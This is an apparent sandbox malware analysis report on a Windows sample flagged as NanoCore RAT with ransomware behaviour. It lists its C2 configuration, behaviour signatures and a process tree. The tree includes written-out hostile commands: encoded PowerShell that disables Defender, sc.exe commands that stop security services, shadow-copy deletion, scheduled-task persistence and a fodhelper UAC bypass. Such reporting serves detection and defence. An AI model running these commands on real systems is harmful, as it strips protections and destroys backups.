Overview

overview

10

Static

static

10

2026-07-19...ry.exe

windows10-2004-x64

10

2026-07-19...ry.exe

windows11-ltsc_2024-x64

10

Analysis

  • max time kernel
    150s
  • max time network
    152s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    19/07/2026, 03:10

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    2026-07-19_90dae9bb755c04a852cb16900f40d0fe_destroyer_elex_glassworm_ngrbot_wannacry.exe
  • Size 50KB
  • Sample260719-dn2s8sdt9v
  • SHA256 29e0e772f87ae0b2a2353eaf293fed76785ab118731096187a788ac49a34e111
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
defense_evasiondiscoveryevasionexecutionnanocoreimpactkeyloggerpersistenceprivilege_escalationransomwarespywarestealertrojan

Malware Config

Extracted

Family

  • nanocore

Version

  • 1.2.2.0

C2

  • http://xoilacbongda-wc2026b.tv

Mutex

  • ac7e2f05-8df7-4c55-8841-78385f6bb064

Attributes
  • c2_url

    http://xoilacbongda-wc2026b.tv

  • default_group

    xoilac

  • primary_dns

    ali.ns.cloudflare.com

  • secondary_dns

    woz.ns.cloudflare.com

  • version

    1.2.2.0

Signatures

  • Family: NanoCore

    NanoCore is a remote access tool (RAT) with a variety of capabilities.

    keyloggertrojanstealerspywarenanocore
  • Contains code to disable Windows Defender 1 IoCs

    A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
    evasiontrojan
  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

    ransomwaredefense_evasionimpactexecution
  • Detects command variations typically used by ransomware 1 IoCs
  • Detects executables embedding registry key / value combination indicative of disabling Windows Defen 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

    execution
  • Disables RegEdit via registry modification 1 IoCs
    defense_evasion
  • Disables Task Manager via registry modification
    defense_evasion
  • Drops file in Drivers directory 1 IoCs
  • Event Triggered Execution: Image File Execution Options Injection 1 TTPs 6 IoCs
    persistence
  • Modifies Windows Firewall 2 TTPs 1 IoCs
    defense_evasion
  • Disables service(s) 3 TTPs
    defense_evasionexecution
  • Drops startup file 64 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Stops running service(s) 4 TTPs
    defense_evasionexecution
  • Adds Run key to start application 2 TTPs 3 IoCs
    persistence
  • Drops file in System32 directory 3 IoCs
  • Enumerates processes with tasklist 1 TTPs 1 IoCs
    discovery
  • Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs
    execution
  • Sets desktop wallpaper using registry 2 TTPs 2 IoCs
    ransomware
  • Launches sc.exe 12 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

    discovery
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

    persistenceprivilege_escalation
  • Executes a command shell one-liner 1 TTPs 7 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

    execution
  • System Time Discovery 1 TTPs 1 IoCs

    Adversary may gather the system time and/or time zone settings from a local or remote system.

    discovery
  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Gathers network information 2 TTPs 2 IoCs

    Uses commandline utility to view network configuration.

  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Interacts with shadow copies 3 TTPs 3 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

    ransomware
  • Modifies Control Panel 1 IoCs
    defense_evasion
  • Modifies data under HKEY_USERS 9 IoCs
  • Modifies registry class 16 IoCs
  • Runs net.exe
  • Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 13 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 34 IoCs
  • Suspicious use of SendNotifyMessage 16 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-07-19_90dae9bb755c04a852cb16900f40d0fe_destroyer_elex_glassworm_ngrbot_wannacry.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-07-19_90dae9bb755c04a852cb16900f40d0fe_destroyer_elex_glassworm_ngrbot_wannacry.exe"
    1⤵
    • Modifies Windows Defender DisableAntiSpyware settings
    • Disables RegEdit via registry modification
    • Drops file in Drivers directory
    • Event Triggered Execution: Image File Execution Options Injection
    • Drops startup file
    • Adds Run key to start application
    • Drops file in System32 directory
    • Sets desktop wallpaper using registry
    • Modifies Control Panel
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: GetForegroundWindowSpam
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:4912
    • C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" http://xoilacbongda-wc2026b.tv
      2⤵
      • Enumerates system info in registry
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      • Suspicious use of WriteProcessMemory
      PID:4696
      • C:\Program Files\Google\Chrome\Application\chrome.exe
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x128,0x12c,0x130,0x104,0x134,0x7fff2f6cc728,0x7fff2f6cc734,0x7fff2f6cc740
        3⤵
          PID:1512
        • C:\Program Files\Google\Chrome\Application\chrome.exe
          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1616,i,17417553740182085270,16275144449784446212,262144 --field-trial-handle=1916,i,8586766948257668351,8428199071684130810,262144 --variations-seed-version --mojo-platform-channel-handle=1912 /prefetch:2
          3⤵
            PID:2776
          • C:\Program Files\Google\Chrome\Application\chrome.exe
            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=1464,i,3152070833315827530,15766804048844784161,524288 --field-trial-handle=1916,i,8586766948257668351,8428199071684130810,262144 --variations-seed-version --mojo-platform-channel-handle=2104 /prefetch:11
            3⤵
            • System Time Discovery
            PID:1676
          • C:\Program Files\Google\Chrome\Application\chrome.exe
            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2200,i,2285479013079576300,11660823483488200385,524288 --field-trial-handle=1916,i,8586766948257668351,8428199071684130810,262144 --variations-seed-version --mojo-platform-channel-handle=2656 /prefetch:13
            3⤵
              PID:5976
            • C:\Program Files\Google\Chrome\Application\chrome.exe
              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3108,i,14377268788816610252,3944734811636468546,2097152 --field-trial-handle=1916,i,8586766948257668351,8428199071684130810,262144 --variations-seed-version --mojo-platform-channel-handle=3224 /prefetch:1
              3⤵
                PID:1732
              • C:\Program Files\Google\Chrome\Application\chrome.exe
                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3116,i,10572120772940044589,16276310479510463584,2097152 --field-trial-handle=1916,i,8586766948257668351,8428199071684130810,262144 --variations-seed-version --mojo-platform-channel-handle=3296 /prefetch:1
                3⤵
                  PID:1000
                • C:\Program Files\Google\Chrome\Application\chrome.exe
                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=4628,i,16611403732766822607,11902942723263785310,524288 --field-trial-handle=1916,i,8586766948257668351,8428199071684130810,262144 --variations-seed-version --mojo-platform-channel-handle=4640 /prefetch:14
                  3⤵
                    PID:1804
                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=4820,i,3835323564322609678,15592073306506173840,2097152 --field-trial-handle=1916,i,8586766948257668351,8428199071684130810,262144 --variations-seed-version --mojo-platform-channel-handle=4840 /prefetch:1
                    3⤵
                      PID:6124
                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5488,i,17999852885723451690,1157707735353726715,524288 --field-trial-handle=1916,i,8586766948257668351,8428199071684130810,262144 --variations-seed-version --mojo-platform-channel-handle=5516 /prefetch:14
                      3⤵
                        PID:2912
                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5508,i,6471605813521167896,437618972641605361,524288 --field-trial-handle=1916,i,8586766948257668351,8428199071684130810,262144 --variations-seed-version --mojo-platform-channel-handle=5468 /prefetch:14
                        3⤵
                          PID:476
                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5512,i,14754635224446940706,4038471693936180596,524288 --field-trial-handle=1916,i,8586766948257668351,8428199071684130810,262144 --variations-seed-version --mojo-platform-channel-handle=5524 /prefetch:14
                          3⤵
                            PID:1428
                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5508,i,11026795988357629097,2851490161894502772,524288 --field-trial-handle=1916,i,8586766948257668351,8428199071684130810,262144 --variations-seed-version --mojo-platform-channel-handle=5468 /prefetch:14
                            3⤵
                              PID:5012
                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --metrics-shmem-handle=5544,i,10228754481875238672,6260563065623854582,2097152 --field-trial-handle=1916,i,8586766948257668351,8428199071684130810,262144 --variations-seed-version --mojo-platform-channel-handle=5520 /prefetch:1
                              3⤵
                                PID:3016
                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --metrics-shmem-handle=5616,i,14940736295737757938,14771948523502910232,2097152 --field-trial-handle=1916,i,8586766948257668351,8428199071684130810,262144 --variations-seed-version --mojo-platform-channel-handle=5660 /prefetch:1
                                3⤵
                                  PID:2412
                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5668,i,14211212649255123191,4005803182296419329,524288 --field-trial-handle=1916,i,8586766948257668351,8428199071684130810,262144 --variations-seed-version --mojo-platform-channel-handle=5544 /prefetch:14
                                  3⤵
                                    PID:2860
                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --metrics-shmem-handle=5708,i,11488883307567857694,12556122440583531445,2097152 --field-trial-handle=1916,i,8586766948257668351,8428199071684130810,262144 --variations-seed-version --mojo-platform-channel-handle=3880 /prefetch:1
                                    3⤵
                                      PID:1820
                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --metrics-shmem-handle=5888,i,15858515853948901591,14245100457207868131,2097152 --field-trial-handle=1916,i,8586766948257668351,8428199071684130810,262144 --variations-seed-version --mojo-platform-channel-handle=5652 /prefetch:1
                                      3⤵
                                        PID:1536
                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --metrics-shmem-handle=5648,i,6723679575993026374,11414430268110688488,2097152 --field-trial-handle=1916,i,8586766948257668351,8428199071684130810,262144 --variations-seed-version --mojo-platform-channel-handle=5936 /prefetch:1
                                        3⤵
                                          PID:5992
                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --metrics-shmem-handle=5800,i,13045521664390651583,1950279016105193189,2097152 --field-trial-handle=1916,i,8586766948257668351,8428199071684130810,262144 --variations-seed-version --mojo-platform-channel-handle=5060 /prefetch:1
                                          3⤵
                                            PID:4596
                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --metrics-shmem-handle=5932,i,4626423970359172457,659485257752025967,2097152 --field-trial-handle=1916,i,8586766948257668351,8428199071684130810,262144 --variations-seed-version --mojo-platform-channel-handle=5536 /prefetch:1
                                            3⤵
                                              PID:4548
                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5888,i,14639869784789291246,769237962139969933,524288 --field-trial-handle=1916,i,8586766948257668351,8428199071684130810,262144 --variations-seed-version --mojo-platform-channel-handle=5692 /prefetch:14
                                              3⤵
                                                PID:4404
                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --metrics-shmem-handle=5468,i,9469077789389325935,14921832639318179096,2097152 --field-trial-handle=1916,i,8586766948257668351,8428199071684130810,262144 --variations-seed-version --mojo-platform-channel-handle=5688 /prefetch:1
                                                3⤵
                                                  PID:1620
                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5952,i,4311981660316024460,14980976468938920440,524288 --field-trial-handle=1916,i,8586766948257668351,8428199071684130810,262144 --variations-seed-version --mojo-platform-channel-handle=5552 /prefetch:14
                                                  3⤵
                                                    PID:2824
                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=24 --metrics-shmem-handle=5552,i,5055422476117803060,639379656198885540,2097152 --field-trial-handle=1916,i,8586766948257668351,8428199071684130810,262144 --variations-seed-version --mojo-platform-channel-handle=5916 /prefetch:1
                                                    3⤵
                                                      PID:1828
                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=25 --metrics-shmem-handle=5520,i,14750497305518888569,789135526506635970,2097152 --field-trial-handle=1916,i,8586766948257668351,8428199071684130810,262144 --variations-seed-version --mojo-platform-channel-handle=5632 /prefetch:9
                                                      3⤵
                                                        PID:5692
                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=4932,i,1779340591181342849,12750046165679729306,262144 --field-trial-handle=1916,i,8586766948257668351,8428199071684130810,262144 --variations-seed-version --mojo-platform-channel-handle=5820 /prefetch:10
                                                        3⤵
                                                          PID:5192
                                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACIAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAUwB5AHMAVQBwAGQAYQB0AGUAIgAgAC0ARgBvAHIAYwBlAA==
                                                        2⤵
                                                        • Command and Scripting Interpreter: PowerShell
                                                        • Suspicious behavior: EnumeratesProcesses
                                                        • Suspicious use of AdjustPrivilegeToken
                                                        PID:4316
                                                      • C:\Windows\System32\sc.exe
                                                        "C:\Windows\System32\sc.exe" stop wscsvc
                                                        2⤵
                                                        • Launches sc.exe
                                                        PID:3136
                                                      • C:\Windows\System32\sc.exe
                                                        "C:\Windows\System32\sc.exe" config wscsvc start= disabled
                                                        2⤵
                                                        • Launches sc.exe
                                                        PID:2632
                                                      • C:\Windows\System32\sc.exe
                                                        "C:\Windows\System32\sc.exe" stop SecurityHealthService
                                                        2⤵
                                                        • Launches sc.exe
                                                        PID:4392
                                                      • C:\Windows\System32\sc.exe
                                                        "C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled
                                                        2⤵
                                                        • Launches sc.exe
                                                        PID:5812
                                                      • C:\Windows\System32\sc.exe
                                                        "C:\Windows\System32\sc.exe" stop WinDefend
                                                        2⤵
                                                        • Launches sc.exe
                                                        PID:4936
                                                      • C:\Windows\System32\sc.exe
                                                        "C:\Windows\System32\sc.exe" config WinDefend start= disabled
                                                        2⤵
                                                        • Launches sc.exe
                                                        PID:5628
                                                      • C:\Windows\System32\sc.exe
                                                        "C:\Windows\System32\sc.exe" stop MsMpSvc
                                                        2⤵
                                                        • Launches sc.exe
                                                        PID:5324
                                                      • C:\Windows\System32\sc.exe
                                                        "C:\Windows\System32\sc.exe" config MsMpSvc start= disabled
                                                        2⤵
                                                        • Launches sc.exe
                                                        PID:4692
                                                      • C:\Windows\System32\fodhelper.exe
                                                        "C:\Windows\System32\fodhelper.exe"
                                                        2⤵
                                                        • Suspicious use of WriteProcessMemory
                                                        PID:5436
                                                        • C:\Users\Admin\AppData\Local\Temp\2026-07-19_90dae9bb755c04a852cb16900f40d0fe_destroyer_elex_glassworm_ngrbot_wannacry.exe
                                                          "C:\Users\Admin\AppData\Local\Temp\2026-07-19_90dae9bb755c04a852cb16900f40d0fe_destroyer_elex_glassworm_ngrbot_wannacry.exe"
                                                          3⤵
                                                            PID:3572
                                                        • C:\Windows\System32\sc.exe
                                                          "C:\Windows\System32\sc.exe" stop wscsvc
                                                          2⤵
                                                          • Launches sc.exe
                                                          PID:4656
                                                        • C:\Windows\System32\sc.exe
                                                          "C:\Windows\System32\sc.exe" stop wuauserv
                                                          2⤵
                                                          • Launches sc.exe
                                                          PID:2104
                                                        • C:\Windows\System32\vssadmin.exe
                                                          "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
                                                          2⤵
                                                          • Interacts with shadow copies
                                                          PID:5600
                                                        • C:\Windows\System32\wbem\WMIC.exe
                                                          "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
                                                          2⤵
                                                          • Suspicious behavior: EnumeratesProcesses
                                                          • Suspicious use of AdjustPrivilegeToken
                                                          PID:4428
                                                        • C:\Windows\System32\wscript.exe
                                                          "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
                                                          2⤵
                                                          • Executes a VBScript file via the Windows Script Host.
                                                          PID:4564
                                                        • C:\Windows\System32\schtasks.exe
                                                          "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-19_90dae9bb755c04a852cb16900f40d0fe_destroyer_elex_glassworm_ngrbot_wannacry.exe" /sc onlogon /f
                                                          2⤵
                                                          • Scheduled Task/Job: Scheduled Task
                                                          PID:1424
                                                        • C:\Windows\System32\schtasks.exe
                                                          "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateBackup" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-19_90dae9bb755c04a852cb16900f40d0fe_destroyer_elex_glassworm_ngrbot_wannacry.exe" /sc minute /mo 30 /f
                                                          2⤵
                                                          • Scheduled Task/Job: Scheduled Task
                                                          PID:2136
                                                        • C:\Windows\system32\cmd.exe
                                                          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "
                                                          2⤵
                                                          • Executes a command shell one-liner
                                                          • Suspicious use of WriteProcessMemory
                                                          PID:4960
                                                          • C:\Windows\system32\vssadmin.exe
                                                            vssadmin delete shadows /all /quiet
                                                            3⤵
                                                            • Interacts with shadow copies
                                                            PID:4168
                                                          • C:\Windows\System32\Wbem\WMIC.exe
                                                            wmic shadowcopy delete
                                                            3⤵
                                                            • Suspicious behavior: EnumeratesProcesses
                                                            PID:2772
                                                        • C:\Windows\SYSTEM32\cmd.exe
                                                          "cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"
                                                          2⤵
                                                          • Executes a command shell one-liner
                                                          • Suspicious use of WriteProcessMemory
                                                          PID:4916
                                                          • C:\Windows\system32\systeminfo.exe
                                                            systeminfo
                                                            3⤵
                                                            • Gathers system information
                                                            PID:700
                                                        • C:\Windows\SYSTEM32\cmd.exe
                                                          "cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"
                                                          2⤵
                                                          • Executes a command shell one-liner
                                                          • Suspicious use of WriteProcessMemory
                                                          PID:828
                                                          • C:\Windows\system32\tasklist.exe
                                                            tasklist
                                                            3⤵
                                                            • Enumerates processes with tasklist
                                                            PID:1920
                                                        • C:\Windows\SYSTEM32\cmd.exe
                                                          "cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"
                                                          2⤵
                                                          • Executes a command shell one-liner
                                                          • Suspicious use of WriteProcessMemory
                                                          PID:3912
                                                          • C:\Windows\System32\Conhost.exe
                                                            \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                            3⤵
                                                              PID:5324
                                                            • C:\Windows\system32\whoami.exe
                                                              whoami
                                                              3⤵
                                                                PID:328
                                                            • C:\Windows\SYSTEM32\cmd.exe
                                                              "cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"
                                                              2⤵
                                                              • Executes a command shell one-liner
                                                              • Suspicious use of WriteProcessMemory
                                                              PID:4392
                                                              • C:\Windows\system32\net.exe
                                                                net user
                                                                3⤵
                                                                • Suspicious use of WriteProcessMemory
                                                                PID:1488
                                                                • C:\Windows\system32\net1.exe
                                                                  C:\Windows\system32\net1 user
                                                                  4⤵
                                                                    PID:2640
                                                              • C:\Windows\SYSTEM32\cmd.exe
                                                                "cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"
                                                                2⤵
                                                                • Executes a command shell one-liner
                                                                • Suspicious use of WriteProcessMemory
                                                                PID:4184
                                                                • C:\Windows\system32\ipconfig.exe
                                                                  ipconfig /all
                                                                  3⤵
                                                                  • Gathers network information
                                                                  PID:308
                                                              • C:\Windows\SYSTEM32\cmd.exe
                                                                "cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"
                                                                2⤵
                                                                • Executes a command shell one-liner
                                                                • Suspicious use of WriteProcessMemory
                                                                PID:6108
                                                                • C:\Windows\system32\NETSTAT.EXE
                                                                  netstat -an
                                                                  3⤵
                                                                  • Gathers network information
                                                                  PID:1924
                                                              • C:\Windows\SYSTEM32\schtasks.exe
                                                                "schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-19_90dae9bb755c04a852cb16900f40d0fe_destroyer_elex_glassworm_ngrbot_wannacry.exe" /sc daily /f
                                                                2⤵
                                                                • Scheduled Task/Job: Scheduled Task
                                                                PID:4496
                                                              • C:\Windows\System32\wscript.exe
                                                                "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
                                                                2⤵
                                                                • Executes a VBScript file via the Windows Script Host.
